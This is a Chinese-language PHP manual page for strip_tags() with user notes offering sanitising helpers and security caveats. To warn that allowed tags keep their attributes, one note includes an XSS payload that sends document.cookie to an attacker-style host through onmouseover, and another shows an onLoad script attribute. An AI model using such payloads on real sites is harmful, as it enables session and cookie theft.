PHP Conference Japan 2024

strip_tags

(PHP 4、PHP 5、PHP 7、PHP 8)

strip_tags從字串中去除 HTML 和 PHP 標籤

描述

strip_tags(string $string, array|string|null $allowed_tags = null): string

此函式會嘗試從給定的 string 中去除所有 NULL 位元組、HTML 和 PHP 標籤,並傳回一個字串。它使用與 fgetss() 函式相同的標籤去除狀態機。

參數

string

輸入字串。

allowed_tags

您可以使用可選的第二個參數來指定不應去除的標籤。這些標籤可以指定為 string,或者從 PHP 7.4.0 開始,也可以指定為 array。請參考下方的範例,了解此參數的格式。

注意:

HTML 註解和 PHP 標籤也會被去除。這是硬式編碼的,無法使用 allowed_tags 進行變更。

注意:

自我關閉的 XHTML 標籤會被忽略,且只有非自我關閉的標籤才能在 allowed_tags 中使用。例如,若要允許 <br><br/>,您應該使用

<?php
strip_tags
($input, '<br>');
?>

傳回值

傳回已去除標籤的字串。

變更日誌

版本 描述
8.0.0 allowed_tags 現在可為 null。
7.4.0 allowed_tags 現在也可接受 array

範例

範例 #1 strip_tags() 範例

<?php
$text
= '<p>測試段落。</p><!-- 註解 --> <a href="#fragment">其他文字</a>';
echo
strip_tags($text);
echo
"\n";

// 允許 <p> 和 <a>
echo strip_tags($text, '<p><a>');

// 從 PHP 7.4.0 開始,以上程式碼可以寫成:
// echo strip_tags($text, ['p', 'a']);
?>

以上範例會輸出

Test paragraph. Other text
<p>Test paragraph.</p> <a href="#fragment">Other text</a>

注意事項

警告

不應使用此函式來嘗試防止 XSS 攻擊。請使用更合適的函式,例如 htmlspecialchars(),或其他取決於輸出上下文的方法。

警告

因為 strip_tags() 實際上並未驗證 HTML,部分或損壞的標籤可能會導致移除超出預期的文字/資料。

警告

此函式不會修改您使用 allowed_tags 允許的標籤上的任何屬性,包括 styleonmouseover 屬性,惡意使用者可能會在張貼將顯示給其他使用者的文字時濫用這些屬性。

注意:

輸入 HTML 中長度大於 1023 個位元組的標籤名稱,無論 allowed_tags 參數為何,都會被視為無效。

另請參閱

新增附註

使用者貢獻的附註 14 則附註

274
mariusz.tarnaski at wp dot pl
16 年前
您好。我建立了一個函式,可移除 HTML 標籤及其內容

函式
<?php
function strip_tags_content($text, $tags = '', $invert = FALSE) {

preg_match_all('/<(.+?)[\s]*\/?[\s]*>/si', trim($tags), $tags);
$tags = array_unique($tags[1]);

if(
is_array($tags) AND count($tags) > 0) {
if(
$invert == FALSE) {
return
preg_replace('@<(?!(?:'. implode('|', $tags) .')\b)(\w+)\b.*?>.*?</\1>@si', '', $text);
}
else {
return
preg_replace('@<('. implode('|', $tags) .')\b.*?>.*?</\1>@si', '', $text);
}
}
elseif(
$invert == FALSE) {
return
preg_replace('@<(\w+)\b.*?>.*?</\1>@si', '', $text);
}
return
$text;
}
?>

範例文字
$text = '<b>範例</b> 帶有 <div>標籤</div> 的文字';

strip_tags($text) 的結果
範例 帶有標籤的文字

strip_tags_content($text) 的結果
帶有 的文字

strip_tags_content($text, '<b>') 的結果
<b>範例</b> 帶有 的文字

strip_tags_content($text, '<b>', TRUE) 的結果;
帶有 <div>標籤</div> 的文字

我希望對某些人有用 :)
35
doug at exploittheweb dot com
9 年前
"5.3.4 strip_tags() 不再去除自我關閉的 XHTML 標籤,除非自我關閉的 XHTML 標籤也指定在 allowable_tags 中。"

這句話用詞不佳。

以上似乎在說,從 5.3.4 開始,如果您未在 allowable_tags 中指定 "<br/>",則 "<br/>" 將不會被去除... 但這實際上並不是他們想表達的意思。

意思是說,在 5.3.4 之前的版本,它會「移除自閉合的 XHTML 標籤,除非該自閉合的 XHTML 標籤也出現在 allowable_tags 中」,而自 5.3.4 以後,情況就不是這樣了。

所以,「不再移除自閉合標籤(除非該自閉合的 XHTML 標籤也出現在 allowable_tags 中)」實際上是在說「不再(移除自閉合標籤,除非該自閉合的 XHTML 標籤也出現在 allowable_tags 中)」。

也就是說:

5.3.4 之前:strip_tags('Hello World<br><br/>','<br>') => 'Hello World<br>' // 移除 <br/>,因為它沒有在 allowable_tags 中明確指定

5.3.4 及之後:strip_tags('Hello World<br><br/>','<br>') => 'Hello World<br><br/>' // 不移除 <br/>,因為 PHP 會將它與 allowable_tags 中的 <br> 匹配
11
abe
3 年前
請注意,strip_tags 會移除任何看起來像標籤的東西,而不僅僅是標籤本身,也就是說,如果屬性中有標籤,它們也可能被移除,

例如:

<?php
$test
='<div a="abc <b>def</b> hij" b="1">x<b>y</b>z</div>';
$echo strip_tags($test, "<div><b>");

結果會是

<div a="abc bdef/b hij" b="1">x<b>y</b>z</div>
23
Dr. Gianluigi &#34;Zane&#34; Zanettini
9 年前
一個提醒。strip_tags() 實際上可以用於輸入驗證,只要你移除「任何」標籤。一旦你接受單個標籤(第二個參數),你就會開啟一個安全漏洞,例如這樣:

<acceptedTag onLoad="javascript:malicious()" />

此外:使用正則表達式移除屬性或程式碼區塊並不是正確的解決方案。當使用 strip_tags() 並且接受單個標籤時,若要進行有效的輸入驗證,http://htmlpurifier.org/ 是更好的選擇。
5
makogon-vs at yandex dot ru
1 年前
這種函數最荒謬且相當常見的用法之一,通常會在程式設計新手身上看到,就是在處理查詢變數時使用此函數:

<?php
$search
= isset($_GET['search']) ? strip_tags($_GET['search']) : '';
?>

我不知道這種「風氣」的根源來自哪裡,也許是來自世紀初另一本品質不佳的 PHP 書籍。但事實仍然是,即使在 PHP8 的時代,不僅是初學者,甚至是商業系統的開發人員也使用這種結構。

請不要以這種方式使用此函數。這沒有任何實際意義。

HTML 程式碼移除函數與資料驗證無關,更與 SQL 注入的主題無關。

此外,在將資料寫入資料庫之前,你不應該使用此函數處理資料。這聽起來很奇怪,但你永遠無法確定,當你在設計的公司系統中使用此函數時,你不會遺失重要的輸入資料,這些資料可能(或最終會)以 HTML 格式出現。
構建系統的一個好做法是以其原始形式「原樣」草擬資料,但你可以根據當前的業務需求在客戶端程式碼中提供這些資料。
43
bzplan at web dot de
12 年前
像這樣的 HTML 程式碼:

<?php
$html
= '
<div>
<p style="color:blue;">color is blue</p><p>size is <span style="font-size:200%;">huge</span></p>
<p>material is wood</p>
</div>
'
;
?>

使用 <?php $str = strip_tags($html); ?>
... 結果是:

$str = 'color is bluesize is huge
material is wood';

請注意:單字「blue」和「size」黏在一起了 :(
並且換行符號仍然在新字串 $str 中。

如果單字之間需要空格(並且沒有換行符號):
請使用我的函數:<?php $str = rip_tags($html); ?>
... 結果是:

$str = 'color is blue size is huge material is wood';

這個函數:

<?php
// --------------------------------------------------------------

function rip_tags($string) {

// ----- 移除 HTML 標籤 -----
$string = preg_replace ('/<[^>]*>/', ' ', $string);

// ----- 移除控制字元 -----
$string = str_replace("\r", '', $string); // --- 以空白字元取代
$string = str_replace("\n", ' ', $string); // --- 以空格取代
$string = str_replace("\t", ' ', $string); // --- 以空格取代

// ----- 移除多個空格 -----
$string = trim(preg_replace('/ {2,}/', ' ', $string));

return
$string;

}

// --------------------------------------------------------------
?>

關鍵是正則表達式模式:'/<[^>]*>/'
而不是 strip_tags()
... 然後移除控制字元和多個空格。
:)
23
stever at starburstpublishing dot com dot au
8 年前
由於 strip_tags 不會移除屬性,因此會產生潛在的 XSS 安全漏洞,以下是我編寫的一個小函數,僅允許具有特定屬性的特定標籤,並移除所有其他標籤和屬性。

如果你僅允許格式標籤(例如 b、i 和 p)和樣式屬性(例如 class、id 和 style),這將移除格式標籤中的所有 JavaScript,包括事件觸發器。

請注意,允許錨點標籤或 href 屬性會開啟另一個潛在的安全漏洞,此解決方案無法防範。如果你計畫在文字中允許連結,則需要更全面的保護。

<?php
function stripUnwantedTagsAndAttrs($html_str){
$xml = new DOMDocument();
// 抑制警告:適當的錯誤處理超出範例範圍
libxml_use_internal_errors(true);
// 在此處列出你要允許的標籤,注意你必須允許 html 和 body,否則整個字串將被清除
$allowed_tags = array("html", "body", "b", "br", "em", "hr", "i", "li", "ol", "p", "s", "span", "table", "tr", "td", "u", "ul");
// 在此處列出你要允許的屬性
$allowed_attrs = array ("class", "id", "style");
if (!
strlen($html_str)){return false;}
if (
$xml->loadHTML($html_str, LIBXML_HTML_NOIMPLIED | LIBXML_HTML_NODEFDTD)){
foreach (
$xml->getElementsByTagName("*") as $tag){
if (!
in_array($tag->tagName, $allowed_tags)){
$tag->parentNode->removeChild($tag);
}else{
foreach (
$tag->attributes as $attr){
if (!
in_array($attr->nodeName, $allowed_attrs)){
$tag->removeAttribute($attr->nodeName);
}
}
}
}
}
return
$xml->saveHTML();
}
?>
42
CEO at CarPool2Camp dot org
15 年前
請注意,相同標籤的不同版本會有不同的輸出。

<?php // striptags.php
$data = '<br>Each<br/>New<br />Line';
$new = strip_tags($data, '<br>');
var_dump($new); // 輸出 string(21) "<br>EachNew<br />Line"

<?php // striptags.php
$data = '<br>Each<br/>New<br />Line';
$new = strip_tags($data, '<br/>');
var_dump($new); // 輸出 string(16) "Each<br/>NewLine"

<?php // striptags.php
$data = '<br>Each<br/>New<br />Line';
$new = strip_tags($data, '<br />');
var_dump($new); // 輸出 string(11) "EachNewLine"
?>
9
roger dot keulen at vaimo dot com
5 年前
https://bugs.php.net/bug.php?id=78346

從 v7.3.3 升級到 v7.3.7 後,字串內部的巢狀 "php 標籤" 似乎不再被 strip_tags() 正確剝除。

這在 v7.3.3、v7.2 & v7.1 中仍然有效。我已在下方新增一個簡單的測試。

測試腳本
---------------
<?php
$str
= '<?= \'<?= 1 ?>\' ?>2';
var_dump(strip_tags($str));

預期結果:
----------------
string(1) "2"

實際結果:
--------------
string(5) "' ?>2"
5
Trititaty
8 年前
功能
* 允許的標籤(如在 strip_tags 中),
* 允許的標籤的可選剝除屬性,
* 可選的註解保留,
* 刪除損壞和未關閉的標籤與註解,
* 針對每個處理的片段呼叫可選的回呼函式,以實現彈性的取代。

<?php
function better_strip_tags( $str, $allowable_tags = '', $strip_attrs = false, $preserve_comments = false, callable $callback = null ) {
$allowable_tags = array_map( 'strtolower', array_filter( // 轉換為小寫
preg_split( '/(?:>|^)\\s*(?:<|$)/', $allowable_tags, -1, PREG_SPLIT_NO_EMPTY ), // 取得標籤名稱
function( $tag ) { return preg_match( '/^[a-z][a-z0-9_]*$/i', $tag ); } // 過濾損壞的標籤
) );
$comments_and_stuff = preg_split( '/(<!--.*?(?:-->|$))/', $str, -1, PREG_SPLIT_DELIM_CAPTURE );
foreach (
$comments_and_stuff as $i => $comment_or_stuff ) {
if (
$i % 2 ) { // html 註解
if ( !( $preserve_comments && preg_match( '/<!--.*?-->/', $comment_or_stuff ) ) ) {
$comments_and_stuff[$i] = '';
}
} else {
// 註解之間的內容
$tags_and_text = preg_split( "/(<(?:[^>\"']++|\"[^\"]*+(?:\"|$)|'[^']*+(?:'|$))*(?:>|$))/", $comment_or_stuff, -1, PREG_SPLIT_DELIM_CAPTURE );
foreach (
$tags_and_text as $j => $tag_or_text ) {
$is_broken = false;
$is_allowable = true;
$result = $tag_or_text;
if (
$j % 2 ) { // 標籤
if ( preg_match( "%^(</?)([a-z][a-z0-9_]*)\\b(?:[^>\"'/]++|/+?|\"[^\"]*\"|'[^']*')*?(/?>)%i", $tag_or_text, $matches ) ) {
$tag = strtolower( $matches[2] );
if (
in_array( $tag, $allowable_tags ) ) {
if (
$strip_attrs ) {
$opening = $matches[1];
$closing = ( $opening === '</' ) ? '>' : $closing;
$result = $opening . $tag . $closing;
}
} else {
$is_allowable = false;
$result = '';
}
} else {
$is_broken = true;
$result = '';
}
} else {
// 文字
$tag = false;
}
if ( !
$is_broken && isset( $callback ) ) {
// 允許修改結果
call_user_func_array( $callback, array( &$result, $tag_or_text, $tag, $is_allowable ) );
}
$tags_and_text[$j] = $result;
}
$comments_and_stuff[$i] = implode( '', $tags_and_text );
}
}
$str = implode( '', $comments_and_stuff );
return
$str;
}
?>

回呼引數
* &$result:包含要放置以取代原始片段的文字(例如,禁止標籤的空字串),可以變更;
* $tag_or_text:原始文字片段或標籤(請參閱下方);
* $tag:標籤之間的文字為 false,標籤為小寫標籤名稱;
* $is_allowable:布林值,指出是否不允許標籤(以避免重複檢查),標籤之間的文字始終為 true
不會針對註解和損壞的標籤呼叫回呼函式。

注意:此函式不會完全驗證標籤(更不用說 HTML 本身),它只會強制剝除那些明顯損壞的標籤(除了剝除禁止的標籤)。如果您想要取得有效的標籤,請使用 strip_attrs 選項,但它不保證標籤是平衡的或在適當的上下文中使用。對於複雜的邏輯,請考慮使用 DOM 解析器。
2
Anonymous
7 年前
只是 bzplan 的函式,其中包含選擇要取代哪些標籤的選項

function rip_tags($string, $rep = ' ') {

// ----- 移除 HTML 標籤 -----
$string = preg_replace ('/<[^>]*>/', $rep, $string);

// ----- 移除控制字元 -----
$string = str_replace("\r", '', $string); // --- 以空白字元取代
$string = str_replace("\n", $rep, $string); // --- 以空白字元取代
$string = str_replace("\t", $rep, $string); // --- 以空白字元取代

// ----- 移除多個空格 -----
$string = trim(preg_replace('/ {2,}/', $rep, $string));

return $string;

}
5
cesar at nixar dot org
18 年前
這是像 stripslashes 手冊頁中顯示的 strip_tags 的遞迴函式。

<?php
function strip_tags_deep($value)
{
return
is_array($value) ?
array_map('strip_tags_deep', $value) :
strip_tags($value);
}

// 範例
$array = array('<b>Foo</b>', '<i>Bar</i>', array('<b>Foo</b>', '<i>Bar</i>'));
$array = strip_tags_deep($array);

// 輸出
print_r($array);
?>
2
bnt dot gloria at outlook dot com
10 年前
使用 allowable_tags 時,strip-tags 並不安全。

<?php

$str
= "<p onmouseover=\"window.location='http://www.theBad.com/?cookie='+document.cookie;\"> don't mouseover </p>";
$str= strip_tags($str, '<p>');
echo
$str; // 顯示: <p onmouseover=\"window.location='http://www.theBad.com/?cookie='+document.cookie;\"> don't mouseover </p>";

?>
2
tom at cowin dot us
14 年前
對於大部分基於網頁的用戶輸入,超過一行的文字,我發現有 90% 是「從 Word 貼上」的。我隨著時間開發了這個函式,試圖去除所有這些雜亂的東西。我這裡做的一些事情是應用程式特定的,但如果它對您有幫助 - 很棒,如果您可以改進它或有更好的方法 - 請 - 發表它...

<?php

function strip_word_html($text, $allowed_tags = '<b><i><sup><sub><em><strong><u><br>')
{
mb_regex_encoding('UTF-8');
// 先替換 MS 特殊字元
$search = array('/&lsquo;/u', '/&rsquo;/u', '/&ldquo;/u', '/&rdquo;/u', '/&mdash;/u');
$replace = array('\'', '\'', '"', '"', '-');
$text = preg_replace($search, $replace, $text);
// 確保 _所有_ HTML 實體都轉換為純 ASCII 等效項 - 看起來
// 在某些 MS 標頭中,某些 HTML 實體被編碼,而有些則沒有
$text = html_entity_decode($text, ENT_QUOTES, 'UTF-8');
// 嘗試先刪除任何 C 樣式的註解,因為這些註解嵌入在 HTML 註解中,似乎
// 阻止 strip_tags 刪除 HTML 註解(MS Word 引入的組合)
if(mb_stripos($text, '/*') !== FALSE){
$text = mb_eregi_replace('#/\*.*?\*/#s', '', $text, 'm');
}
// 在任何可能被 strip_tags 捕獲的算術表達式中引入一個空格,以便它們不會被捕獲
// '<1' 變成 '< 1' (注意:有點應用程式特定)
$text = preg_replace(array('/<([0-9]+)/'), array('< $1'), $text);
$text = strip_tags($text, $allowed_tags);
// 消除行首和行尾或任何有兩個或多個空格的額外空白,將其轉換為一個空格
$text = preg_replace(array('/^\s\s+/', '/\s\s+$/', '/\s\s+/u'), array('', '', ' '), $text);
// 刪除內嵌 CSS 並簡化樣式標籤
$search = array('#<(strong|b)[^>]*>(.*?)</(strong|b)>#isu', '#<(em|i)[^>]*>(.*?)</(em|i)>#isu', '#<u[^>]*>(.*?)</u>#isu');
$replace = array('<b>$2</b>', '<i>$2</i>', '<u>$1</u>');
$text = preg_replace($search, $replace, $text);
// 在一些較新的 MS Word 導出中,您會得到 'if gte mso 9' 等形式的條件語句,似乎
// 任何在 HTML 註解中的東西都會阻止 strip_tags 消除包含
// 一些 MS 樣式定義的 HTML 註解 - 最後一點會刪除任何剩餘的註解 */
$num_matches = preg_match_all("/\<!--/u", $text, $matches);
if(
$num_matches){
$text = preg_replace('/\<!--(.)*--\>/isu', '', $text);
}
return
$text;
}
?>
To Top